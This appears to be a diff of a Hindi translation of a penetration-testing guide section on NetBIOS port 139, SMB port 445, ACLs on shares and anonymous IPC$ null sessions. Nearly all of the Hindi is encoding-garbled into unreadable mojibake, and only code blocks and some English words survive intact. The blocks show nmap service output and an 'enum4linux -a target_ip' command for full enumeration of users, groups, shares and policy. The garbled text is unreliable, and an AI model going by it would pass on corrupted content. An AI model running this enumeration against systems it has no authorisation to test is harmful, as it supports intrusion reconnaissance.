рджреВрд╕рд░реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (server рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП) рдХреЛ "call" рдХрд░рдиреЗ рдХрд╛ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **TCP Port 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +The _**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо**_** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд▓реЛрдХрд▓ рдПрд░рд┐рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди, PCs, рдФрд░ Desktops рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдзрд┐рдХрддрдо 16 characters рддрдХ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рдЖрд░рдВрдн рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (acting as the client) рджреВрд╕рд░реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди (acting as the server) рдХреЛ "call" рдХрд░рдиреЗ рдХрд╛ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **TCP Port 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, Port 139 рдХреЛ тАШNBT over IPтАЩ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ Port 445 рдХреЛ тАШSMB over IPтАЩ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк **SMB** рдХрд╛ рдЕрд░реНрде тАШ**Server Message Blocks**тАЩ рд╣реИ, рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рдореЗрдВ **Common Internet File System (CIFS)** рдХреЗ рдирд╛рдо рд╕реЗ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ application-layer рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдХрд╛ рдореБрдЦреНрдп рдЙрдкрдпреЛрдЧ рдлрд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, serial ports рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдБрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрдЧрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, Port 139 рдХреЛ тАШNBT over IPтАЩ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ Port 445 рдХреЛ тАШSMB over IPтАЩ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк **SMB** рдХрд╛ рдЕрд░реНрде тАШ**Server Message Blocks**тАЩ рд╣реИ, рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рдореЗрдВ **Common Internet File System (CIFS)** рдХреЗ рдирд╛рдо рд╕реЗ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ application-layer рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдХрд╛ рдкреНрд░рдореБрдЦ рдЙрдкрдпреЛрдЧ рдлрд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдБрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рд╕реБрдЧрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдпрд╣ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ SMB port 445 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдзреЗ TCP/IP рдкрд░ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetBIOS over TCP/IP рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЕрдиреНрдп рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ port 139 рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SMB NetBIOS over TCP/IP рдХреЗ рд╕рд╛рде рд╕рдВрдпреБрдХреНрдд рд░реВрдк рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдпрд╣ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ SMB рд╕реАрдзреЗ TCP/IP рдХреЗ рдКрдкрд░ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetBIOS over TCP/IP рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЦрддреНрдо рд╣реЛ рдЬрд╛рддреА рд╣реИ, рдЬрдм port 445 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЕрдиреНрдп рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ port 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ SMB рдХреЛ NetBIOS over TCP/IP рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ**, рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝, рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рд╡ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛, SMB рдкрд┐рдЫрдбрд╝реА рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Microsoft рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдмрд┐рдирд╛ рдмрд╛рдзрд╛ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдлреНрд░реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдореНрд╕ рдкрд░ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рддрд░рд╣ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕тАСрдкреНрд▓реИрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреА рд╕реБрд╡рд┐рдзрд╛ рджреЗрддрд╛ рд╣реИред +The **Server Message Block (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ рдПрдХ **client-server** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, **files** рддрдХ рдкрд╣реБрдБрдЪ, рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдФрд░ рдкреНрд░рд┐рдиреНрдЯрд░реНрд╕ рд╡ рд░рд╛рдЙрдЯрд░реНрд╕ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд, SMB рдмреИрдХрд╡рд░реНрдб рдХрдореНрдкреИрдЯрд┐рдмрд┐рд▓рд┐рдЯреА рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Microsoft рдХреЗ рдирдП рд╡рд░реНрдЬрд╝рди рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкреБрд░рд╛рдиреЗ рд╡рд░реНрдЬрд╝рди рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдлреНрд░реА рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ SMB рдХреЛ рдЗрдореНрдкреНрд▓реАрдореЗрдВрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХрдореНрдпреБрдирд┐рдХреЗрд╢рди рдХреЛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИред -Shares, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ **рдордирдорд╛рдиреЗ рд╣рд┐рд╕реНрд╕реЛрдВ** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╣рд╛рдЗрд░рд╛рд░реНрдХреА рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ **рд╕реНрд╡рддрдВрддреНрд░** рджрд┐рдЦ рд╕рдХрддреА рд╣реИред The **Access Control Lists (ACLs)**, рдЬреЛ **рдкрд╣реБрдВрдЪ рдЕрдзрд┐рдХрд╛рд░** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **рд╕реВрдХреНрд╖реНрдо-рд╕реНрддрд░реАрдп рдирд┐рдпрдВрддреНрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рдЧреБрдг рдЬреИрд╕реЗ **`execute`**, **`read`**, рдФрд░ **`full access`** рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ shares рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреА рд╣реИрдВред +Shares, рдЬреЛ рдХрд┐ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ **arbitrary parts** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, SMB server рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рд╣рд╛рдпрд░реЗрд░рдХреА рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рд╕реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ **independent** рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИред **Access Control Lists (ACLs)**, рдЬреЛ **access rights** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **fine-grained control** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ `execute`, `read`, рдФрд░ `full access` рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ shares рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреА рд╣реИрдВред ### IPC$ Share -IPC$ share рддрдХ рдкрд╣реБрдБрдЪ anonymous null session рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ named pipes рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИ: +IPC$ share рддрдХ рдкрд╣реБрдБрдЪ anonymous null session рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ named pipes рдХреЗ рдЬрд░рд┐рдП рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ: -- рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА +- рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА - parent domain рдХреЗ рд╡рд┐рд╡рд░рдг -- рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдХреА рд╕реВрдЪреА +- рд╕реНрдерд╛рдиреАрдп users рдФрд░ groups рдХреА рдПрдХ рд╕реВрдЪреА - рдЙрдкрд▓рдмреНрдз SMB shares рдХреА рдЬрд╛рдирдХрд╛рд░реА -- рдкреНрд░рднрд╛рд╡реА рд╕рд┐рд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ +- рдкреНрд░рднрд╛рд╡реА рд╕рд┐рд╕реНрдЯрдо security policy -рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ SMB (Server Message Block) рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред `enum4linux` рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдХреЗ SMB рдкрд░рд┐рд╡реЗрд╢ рдХрд╛ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ SMB рд╕реЗрд╡рд╛рдПрдБ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред +рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ SMB (Server Message Block) рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред `enum4linux` рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдХреЗ SMB рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ SMB рд╕реЗрд╡рд╛рдПрдБ рдареАрдХ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред ```bash enum4linux -a target_ip ``` -рдКрдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ `target_ip` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреВрд░реНрдг enumeration рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдКрдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдпрд╣ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ `enum4linux` рдХрд╛ рдЙрдкрдпреЛрдЧ `target_ip` рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рдкреВрд░реНрдг enumeration рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ## NTLM рдХреНрдпрд╛ рд╣реИ -рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреЗрдЬ рдХреЛ рдмрд╣реБрдд рд░реЛрдЪрдХ 